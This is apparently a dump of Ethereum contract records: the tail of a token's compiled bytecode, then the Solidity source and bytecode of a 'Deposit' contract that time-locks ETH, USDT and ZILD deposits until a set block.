ffff16565b6130d890919063ffffffff16565b905060006123a48286611b0a90919063ffffffff16565b90508082935093505050915091565b6000806000806123cc85886130d890919063ffffffff16565b905060006123e386886130d890919063ffffffff16565b905060006123fa8284611b0a90919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061242286611ab2565b9450945094509450945061247e86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f5838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267586611ab2565b945094509450945094506126d185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276682600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fb84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612848838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c886611ab2565b9450945094509450945061292485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a06838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8686611ab2565b94509450945094509450612ae286600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0c82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ca184600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cee838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b600580549050811015612fc357826001600060058481548110612d9957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e805750816002600060058481548110612e1857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ea0576006546a52b7d2dcc80cd2e40000009450945050505061300e565b612f296001600060058481548110612eb457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0a90919063ffffffff16565b9250612fb46002600060058481548110612f3f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0a90919063ffffffff16565b91508080600101915050612d7a565b50612fe46a52b7d2dcc80cd2e400000060065461231790919063ffffffff16565b821015613005576006546a52b7d2dcc80cd2e400000093509350505061300e565b81819350935050505b9091565b600080831182906130be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613083578082015181840152602081019050613068565b50505050905090810190601f1680156130b05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130ca57fe5b049050809150509392505050565b6000808314156130eb5760009050613158565b60008284029050828482816130fc57fe5b0414613153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061322e6021913960400191505060405180910390fd5b809150505b92915050565b61317382600654611b0a90919063ffffffff16565b60068190555061318e81600754611b5490919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a0367b9d6fc4f71f0d2e664208e3c3baa5282db144b0de11eca003fb983cd41864736f6c634300060c0033
[ 4 ]
0xf366005F71f63CdEC1Be2A2f2aE9A5bb807e0dA4
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public owner; address public newowner; address public admin; address public dev; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyNewOwner { require(msg.sender == newowner); _; } function transferOwnership(address _newOwner) public onlyOwner { newowner = _newOwner; } function takeOwnership() public onlyNewOwner { owner = newowner; } function setAdmin(address _admin) public onlyOwner { admin = _admin; } function setDev(address _dev) public onlyOwner { dev = _dev; } modifier onlyAdmin { require(msg.sender == admin || msg.sender == owner); _; } modifier onlyDev { require(msg.sender == dev || msg.sender == admin || msg.sender == owner); _; } } abstract contract ContractConn{ function transfer(address _to, uint _value) virtual public; function transferFrom(address _from, address _to, uint _value) virtual public; function balanceOf(address who) virtual public view returns (uint); } contract Deposit is Ownable{ using SafeMath for uint256; struct DepositInfo { uint256 id; address depositor; string coinType; uint256 amount; uint256 depositTime; uint256 depositBlock; uint256 ExpireBlock; } ContractConn public usdt; ContractConn public zild; uint256 public depositBlock = 78000; uint256 public depositBlockChange; uint256 public changeDepositTime; bool public needChangeTime = false; mapping(address => DepositInfo[]) public eth_deposit; mapping(address => DepositInfo[]) public usdt_deposit; mapping(address => DepositInfo[]) public zild_deposit; mapping(address => uint256) public user_ethdeposit_amount; mapping(address => uint256) public user_usdtdeposit_amount; mapping(address => uint256) public user_zilddeposit_amount; uint256 public ethTotalDeposit; uint256 public usdtTotalDeposit; uint256 public zildTotalDeposit; event SetDepositBlock(uint256 dblock,address indexed who,uint256 time); event EffectDepositBlock(uint256 dblock,address indexed who,uint256 time); event DepositETH(address indexed from,uint256 depid,uint256 damount,uint256 bblock,uint256 eblock,uint256 time); event DepositUSDT(address indexed from,uint256 depid,uint256 damount,uint256 bblock,uint256 eblock,uint256 time); event DepositZILD(address indexed from,uint256 depid,uint256 damount,uint256 bblock,uint256 eblock,uint256 time); event WithdrawETH(address indexed to,uint256 damount,uint256 time); event WithdrawUSDT(address indexed to,uint256 damount,uint256 time); event WithdrawZILD(address indexed to,uint256 damount,uint256 time); constructor(address _usdt,address _zild) public { usdt = ContractConn(_usdt); zild = ContractConn(_zild); } function setdepositblock(uint256 _block) public onlyAdmin { require(_block > 0,"Desposit: New deposit time must be greater than 0"); depositBlockChange = _block; changeDepositTime = block.number; needChangeTime = true; emit SetDepositBlock(_block,msg.sender,now); } function effectblockchange() public onlyAdmin { require(needChangeTime,"Deposit: No new deposit time are set"); uint256 currentTime = block.number; uint256 effectTime = changeDepositTime.add(depositBlock); if (currentTime < effectTime) return; depositBlock = depositBlockChange; needChangeTime = false; emit SetDepositBlock(depositBlockChange,msg.sender,now); } function DepositETHCount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return eth_deposit[_user].length; } function DepositUSDTCount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return usdt_deposit[_user].length; } function DepositZILDCount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return zild_deposit[_user].length; } function DepositETHAmount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return user_ethdeposit_amount[_user]; } function DepositUSDTAmount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return user_usdtdeposit_amount[_user]; } function DepositZILDAmount(address _user) view public returns(uint256) { require(msg.sender == _user || msg.sender == owner, "Deposit: Only check your own deposit records"); return user_zilddeposit_amount[_user]; } function depositETH() public payable returns(uint256){ uint256 length = eth_deposit[msg.sender].length; uint256 deposit_id; eth_deposit[msg.sender].push( DepositInfo({ id: length, depositor: msg.sender, coinType: "eth", amount: msg.value, depositTime: now, depositBlock: block.number, ExpireBlock: block.number.add(depositBlock) }) ); deposit_id = eth_deposit[msg.sender].length; user_ethdeposit_amount[msg.sender] = user_ethdeposit_amount[msg.sender].add(msg.value); ethTotalDeposit = ethTotalDeposit.add(msg.value); emit DepositETH(msg.sender,length,msg.value,block.number,block.number.add(depositBlock),now); return length; } function depositUSDT(uint256 _amount) public returns(uint256){ usdt.transferFrom(address(msg.sender), address(this), _amount); uint256 length = usdt_deposit[msg.sender].length; usdt_deposit[msg.sender].push( DepositInfo({ id: length, depositor: msg.sender, coinType: "usdt", amount: _amount, depositTime: now, depositBlock: block.number, ExpireBlock: block.number.add(depositBlock) }) ); user_usdtdeposit_amount[msg.sender] = user_usdtdeposit_amount[msg.sender].add(_amount); usdtTotalDeposit = usdtTotalDeposit.add(_amount); emit DepositUSDT(msg.sender,length,_amount,block.number,block.number.add(depositBlock),now); return length; } function depositZILD(uint256 _amount) public returns(uint256){ zild.transferFrom(address(msg.sender), address(this), _amount); uint256 length = zild_deposit[msg.sender].length; zild_deposit[msg.sender].push( DepositInfo({ id: length, depositor: msg.sender, coinType: "zild", amount: _amount, depositTime: now, depositBlock: block.number, ExpireBlock: block.number.add(depositBlock) }) ); user_zilddeposit_amount[msg.sender] = user_zilddeposit_amount[msg.sender].add(_amount); zildTotalDeposit = zildTotalDeposit.add(_amount); emit DepositZILD(msg.sender,length,_amount,block.number,block.number.add(depositBlock),now); return length; } function withdrawEth(uint256 _deposit_id) public returns(bool){ require(block.number > eth_deposit[msg.sender][_deposit_id].ExpireBlock, "The withdrawal block has not arrived!"); require(eth_deposit[msg.sender][_deposit_id].amount > 0, "There is no deposit available!"); msg.sender.transfer(eth_deposit[msg.sender][_deposit_id].amount); user_ethdeposit_amount[msg.sender] = user_ethdeposit_amount[msg.sender].sub(eth_deposit[msg.sender][_deposit_id].amount); ethTotalDeposit = ethTotalDeposit.sub(eth_deposit[msg.sender][_deposit_id].amount); eth_deposit[msg.sender][_deposit_id].amount = 0; emit WithdrawETH(msg.sender,eth_deposit[msg.sender][_deposit_id].amount,now); return true; } function withdrawUSDT(uint256 _deposit_id) public returns(bool){ require(block.number > usdt_deposit[msg.sender][_deposit_id].ExpireBlock, "The withdrawal block has not arrived!"); require(usdt_deposit[msg.sender][_deposit_id].amount > 0, "There is no deposit available!"); usdt.transfer(msg.sender, usdt_deposit[msg.sender][_deposit_id].amount); user_usdtdeposit_amount[msg.sender] = user_usdtdeposit_amount[msg.sender].sub(usdt_deposit[msg.sender][_deposit_id].amount); usdtTotalDeposit = usdtTotalDeposit.sub(usdt_deposit[msg.sender][_deposit_id].amount); usdt_deposit[msg.sender][_deposit_id].amount = 0; emit WithdrawUSDT(msg.sender,usdt_deposit[msg.sender][_deposit_id].amount,now); return true; } function withdrawZILD(uint256 _deposit_id) public returns(bool){ require(block.number > zild_deposit[msg.sender][_deposit_id].ExpireBlock, "The withdrawal block has not arrived!"); require(zild_deposit[msg.sender][_deposit_id].amount > 0, "There is no deposit available!"); zild.transfer(msg.sender,zild_deposit[msg.sender][_deposit_id].amount); user_zilddeposit_amount[msg.sender] = user_zilddeposit_amount[msg.sender].sub(zild_deposit[msg.sender][_deposit_id].amount); zildTotalDeposit = zildTotalDeposit.sub(zild_deposit[msg.sender][_deposit_id].amount); zild_deposit[msg.sender][_deposit_id].amount = 0; emit WithdrawZILD(msg.sender,zild_deposit[msg.sender][_deposit_id].amount,now); return true; } }
0x60806040526004361061021a5760003560e01c806391cca3db11610123578063d477f05f116100ab578063eda5b2f11161006f578063eda5b2f1146107c4578063f2fde38b146107f7578063f6326fb31461082a578063f851a44014610832578063fb9a8889146108475761021a565b8063d477f05f1461070a578063d74afaa11461073d578063e0d1caff14610752578063e7c80f1714610767578063e953e7f7146107915761021a565b8063b228b105116100f2578063b228b1051461062c578063bf4399161461065f578063bf69117114610674578063c311d049146106ad578063d3c4f7f7146106d75761021a565b806391cca3db14610596578063a0e8fabb146105ab578063a3c4a969146105de578063a757f04e146106175761021a565b80634538075b116101a657806374cce4b51161017557806374cce4b5146104dc578063759b3b611461050f578063794d8997146105245780637e6d77c3146105575780638da5cb5b146105815761021a565b80634538075b1461037d578063472bccb9146103b05780636053617214610494578063704b6c02146104a95761021a565b80632d94b133116101ed5780632d94b133146102ce5780632f48ab7d146102e357806333ef1fe6146103145780633ea521ef1461033e578063440de6bb146103685761021a565b80630e262eda1461021f5780630fe5f30d1461025d578063196b051d146102a25780631f5903cb146102b7575b600080fd5b34801561022b57600080fd5b506102496004803603602081101561024257600080fd5b503561085c565b604080519115158252519081900360200190f35b34801561026957600080fd5b506102906004803603602081101561028057600080fd5b50356001600160a01b0316610b2d565b60408051918252519081900360200190f35b3480156102ae57600080fd5b50610290610ba7565b3480156102c357600080fd5b506102cc610bad565b005b3480156102da57600080fd5b50610290610c90565b3480156102ef57600080fd5b506102f8610c96565b604080516001600160a01b039092168252519081900360200190f35b34801561032057600080fd5b506102cc6004803603602081101561033757600080fd5b5035610ca5565b34801561034a57600080fd5b506102496004803603602081101561036157600080fd5b5035610d62565b34801561037457600080fd5b50610290610ffc565b34801561038957600080fd5b50610290600480360360208110156103a057600080fd5b50356001600160a01b0316611002565b3480156103bc57600080fd5b506103e9600480360360408110156103d357600080fd5b506001600160a01b03813516906020013561107c565b60405180888152602001876001600160a01b0316815260200180602001868152602001858152602001848152602001838152602001828103825287818151815260200191508051906020019080838360005b8381101561045357818101518382015260200161043b565b50505050905090810190601f1680156104805780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156104a057600080fd5b506102cc611168565b3480156104b557600080fd5b506102cc600480360360208110156104cc57600080fd5b50356001600160a01b03166111a3565b3480156104e857600080fd5b50610290600480360360208110156104ff57600080fd5b50356001600160a01b03166111dc565b34801561051b57600080fd5b506102f86111ee565b34801561053057600080fd5b506102906004803603602081101561054757600080fd5b50356001600160a01b03166111fd565b34801561056357600080fd5b506102906004803603602081101561057a57600080fd5b5035611277565b34801561058d57600080fd5b506102f8611488565b3480156105a257600080fd5b506102f8611497565b3480156105b757600080fd5b50610290600480360360208110156105ce57600080fd5b50356001600160a01b03166114a6565b3480156105ea57600080fd5b506103e96004803603604081101561060157600080fd5b506001600160a01b0381351690602001356114b8565b34801561062357600080fd5b506102906114d1565b34801561063857600080fd5b506102906004803603602081101561064f57600080fd5b50356001600160a01b03166114d7565b34801561066b57600080fd5b50610290611551565b34801561068057600080fd5b506103e96004803603604081101561069757600080fd5b506001600160a01b038135169060200135611557565b3480156106b957600080fd5b50610249600480360360208110156106d057600080fd5b5035611570565b3480156106e357600080fd5b50610290600480360360208110156106fa57600080fd5b50356001600160a01b03166117c5565b34801561071657600080fd5b506102cc6004803603602081101561072d57600080fd5b50356001600160a01b031661183f565b34801561074957600080fd5b506102f8611878565b34801561075e57600080fd5b50610249611887565b34801561077357600080fd5b506102906004803603602081101561078a57600080fd5b5035611890565b34801561079d57600080fd5b50610290600480360360208110156107b457600080fd5b50356001600160a01b0316611a74565b3480156107d057600080fd5b50610290600480360360208110156107e757600080fd5b50356001600160a01b0316611a86565b34801561080357600080fd5b506102cc6004803603602081101561081a57600080fd5b50356001600160a01b0316611b00565b610290611b39565b34801561083e57600080fd5b506102f8611ce8565b34801561085357600080fd5b50610290611cf7565b336000908152600c6020526040812080548390811061087757fe5b90600052602060002090600702016006015443116108c65760405162461bcd60e51b8152600401808060200182810382526025815260200180611f206025913960400191505060405180910390fd5b336000908152600c602052604081208054849081106108e157fe5b90600052602060002090600702016003015411610945576040805162461bcd60e51b815260206004820152601e60248201527f5468657265206973206e6f206465706f73697420617661696c61626c65210000604482015290519081900360640190fd5b600554336000818152600c6020526040902080546001600160a01b039093169263a9059cbb9291908690811061097757fe5b9060005260206000209060070201600301546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156109cf57600080fd5b505af11580156109e3573d6000803e3d6000fd5b5050336000908152600c602052604090208054610a33935090915084908110610a0857fe5b6000918252602080832060036007909302019190910154338352600f90915260409091205490611cfd565b336000908152600f6020908152604080832093909355600c9052208054610a82919084908110610a5f57fe5b906000526020600020906007020160030154601254611cfd90919063ffffffff16565b601255336000908152600c60205260408120805484908110610aa057fe5b600091825260208083206003600790930201919091019290925533808252600c9092526040902080547fc41848b8062410adccb5ec2c63876ee763fde39610066c0ddd0cb0a2a50e6748919085908110610af657fe5b90600052602060002090600702016003015442604051808381526020018281526020019250505060405180910390a2506001919050565b6000336001600160a01b0383161480610b5057506000546001600160a01b031633145b610b8b5760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600f602052604090205490565b60115481565b6002546001600160a01b0316331480610bd057506000546001600160a01b031633145b610bd957600080fd5b60095460ff16610c1a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611ecb6024913960400191505060405180910390fd5b6006546008544391600091610c2e91611d46565b905080821015610c3f575050610c8e565b60075460068190556009805460ff1916905560408051918252426020830152805133927f5792301aa5ca1a289acc24a4dc1f4185f1a89bc0fdcbf3a088de5bab291081b792908290030190a250505b565b60085481565b6004546001600160a01b031681565b6002546001600160a01b0316331480610cc857506000546001600160a01b031633145b610cd157600080fd5b60008111610d105760405162461bcd60e51b8152600401808060200182810382526031815260200180611eef6031913960400191505060405180910390fd5b6007819055436008556009805460ff1916600117905560408051828152426020820152815133927f5792301aa5ca1a289acc24a4dc1f4185f1a89bc0fdcbf3a088de5bab291081b7928290030190a250565b336000908152600b60205260408120805483908110610d7d57fe5b9060005260206000209060070201600601544311610dcc5760405162461bcd60e51b8152600401808060200182810382526025815260200180611f206025913960400191505060405180910390fd5b336000908152600b60205260408120805484908110610de757fe5b90600052602060002090600702016003015411610e4b576040805162461bcd60e51b815260206004820152601e60248201527f5468657265206973206e6f206465706f73697420617661696c61626c65210000604482015290519081900360640190fd5b600454336000818152600b6020526040902080546001600160a01b039093169263a9059cbb92919086908110610e7d57fe5b9060005260206000209060070201600301546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610ed557600080fd5b505af1158015610ee9573d6000803e3d6000fd5b5050336000908152600b602052604090208054610f39935090915084908110610f0e57fe5b6000918252602080832060036007909302019190910154338352600e90915260409091205490611cfd565b336000908152600e6020908152604080832093909355600b9052208054610f88919084908110610f6557fe5b906000526020600020906007020160030154601154611cfd90919063ffffffff16565b601155336000908152600b60205260408120805484908110610fa657fe5b600091825260208083206003600790930201919091019290925533808252600b9092526040902080547f9a79bde0d55060155dc8293f45f588f390318730e145177936768242adb6b3d7919085908110610af657fe5b60065481565b6000336001600160a01b038316148061102557506000546001600160a01b031633145b6110605760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600b602052604090205490565b600a602052816000526040600020818154811061109557fe5b600091825260209182902060079091020180546001808301546002808501805460408051601f600019978416156101000297909701909216939093049485018890048802810188019092528382529397506001600160a01b03909116955092938301828280156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b5050505050908060030154908060040154908060050154908060060154905087565b6001546001600160a01b0316331461117f57600080fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146111ba57600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b600e6020526000908152604090205481565b6005546001600160a01b031681565b6000336001600160a01b038316148061122057506000546001600160a01b031633145b61125b5760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600d602052604090205490565b600554604080516323b872dd60e01b81523360048201523060248201526044810184905290516000926001600160a01b0316916323b872dd916064808301928692919082900301818387803b1580156112cf57600080fd5b505af11580156112e3573d6000803e3d6000fd5b5050336000818152600c60209081526040918290208054835160e081018552818152808401959095528351808501855260048152631e9a5b1960e21b9381019390935292840191909152606083018790524260808401524360a0840181905260065492955090935060c083019161135a9190611d46565b9052815460018082018455600093845260209384902083516007909302019182558284015190820180546001600160a01b0319166001600160a01b0390921691909117905560408201518051929391926113ba9260028501920190611e37565b50606082015160038201556080820151600482015560a0820151600582015560c090910151600690910155336000908152600f60205260409020546113ff9084611d46565b336000908152600f602052604090205560125461141c9084611d46565b60125560065433907fb801993ce0f74bd1d2dc6726fe15c6ac418d60af8e403a2ab2554d5260574cb390839086904390611457908290611d46565b604080519485526020850193909352838301919091526060830152426080830152519081900360a00190a292915050565b6000546001600160a01b031681565b6003546001600160a01b031681565b600d6020526000908152604090205481565b600c602052816000526040600020818154811061109557fe5b60075481565b6000336001600160a01b03831614806114fa57506000546001600160a01b031633145b6115355760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60125481565b600b602052816000526040600020818154811061109557fe5b336000908152600a6020526040812080548390811061158b57fe5b90600052602060002090600702016006015443116115da5760405162461bcd60e51b8152600401808060200182810382526025815260200180611f206025913960400191505060405180910390fd5b336000908152600a602052604081208054849081106115f557fe5b90600052602060002090600702016003015411611659576040805162461bcd60e51b815260206004820152601e60248201527f5468657265206973206e6f206465706f73697420617661696c61626c65210000604482015290519081900360640190fd5b336000818152600a6020526040902080546108fc91908590811061167957fe5b9060005260206000209060070201600301549081150290604051600060405180830381858888f193505050501580156116b6573d6000803e3d6000fd5b50336000908152600a6020526040902080546117029190849081106116d757fe5b6000918252602080832060036007909302019190910154338352600d90915260409091205490611cfd565b336000908152600d6020908152604080832093909355600a905220805461175191908490811061172e57fe5b906000526020600020906007020160030154601054611cfd90919063ffffffff16565b601055336000908152600a6020526040812080548490811061176f57fe5b600091825260208083206003600790930201919091019290925533808252600a9092526040902080547f33414635cb2f2957fad92617dadad2a2a914b1914a9db56a5836fe13d56ef6f5919085908110610af657fe5b6000336001600160a01b03831614806117e857506000546001600160a01b031633145b6118235760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600a602052604090205490565b6000546001600160a01b0316331461185657600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b60095460ff1681565b60048054604080516323b872dd60e01b8152339381019390935230602484015260448301849052516000926001600160a01b03909216916323b872dd916064808301928692919082900301818387803b1580156118ec57600080fd5b505af1158015611900573d6000803e3d6000fd5b5050336000818152600b60209081526040918290208054835160e081018552818152808401959095528351808501855260048152631d5cd91d60e21b9381019390935292840191909152606083018790524260808401524360a0840181905260065492955090935060c08301916119779190611d46565b9052815460018082018455600093845260209384902083516007909302019182558284015190820180546001600160a01b0319166001600160a01b0390921691909117905560408201518051929391926119d79260028501920190611e37565b50606082015160038201556080820151600482015560a0820151600582015560c090910151600690910155336000908152600e6020526040902054611a1c9084611d46565b336000908152600e6020526040902055601154611a399084611d46565b60115560065433907f3515ec0a38bf5836c4dd5f1a45261fdbecec6f1559f444568fa5de41d1947a4890839086904390611457908290611d46565b600f6020526000908152604090205481565b6000336001600160a01b0383161480611aa957506000546001600160a01b031633145b611ae45760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b506001600160a01b03166000908152600c602052604090205490565b6000546001600160a01b03163314611b1757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b336000818152600a602090815260408083208054825160e081018452818152808501969096528251808401845260038152620cae8d60eb1b94810194909452918501929092523460608501524260808501524360a08501819052600654939491938593929160c0830191611bad9190611d46565b9052815460018082018455600093845260209384902083516007909302019182558284015190820180546001600160a01b0319166001600160a01b039092169190911790556040820151805192939192611c0d9260028501920190611e37565b50606082015160038201556080820151600482015560a0820151600582015560c09091015160069091015550336000908152600a6020908152604080832054600d90925290912054611c5f9034611d46565b336000908152600d6020526040902055601054611c7c9034611d46565b60105560065433907f695f46c1480b028be3c720fcff147c28cb61a21ff15f89187fdbf82d31b0b91290849034904390611cb7908290611d46565b604080519485526020850193909352838301919091526060830152426080830152519081900360a00190a250905090565b6002546001600160a01b031681565b60105481565b6000611d3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611da0565b9392505050565b600082820183811015611d3f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115611e2f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611df4578181015183820152602001611ddc565b50505050905090810190601f168015611e215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e7857805160ff1916838001178555611ea5565b82800160010185558215611ea5579182015b82811115611ea5578251825591602001919060010190611e8a565b50611eb1929150611eb5565b5090565b5b80821115611eb15760008155600101611eb656fe4465706f7369743a204e6f206e6577206465706f7369742074696d652061726520736574446573706f7369743a204e6577206465706f7369742074696d65206d7573742062652067726561746572207468616e2030546865207769746864726177616c20626c6f636b20686173206e6f742061727269766564214465706f7369743a204f6e6c7920636865636b20796f7572206f776e206465706f736974207265636f726473a2646970667358221220aac5af75a0161e61b4d037c374b70a753e1ff7495770498dc539d3d2ddae91f864736f6c634300060c0033
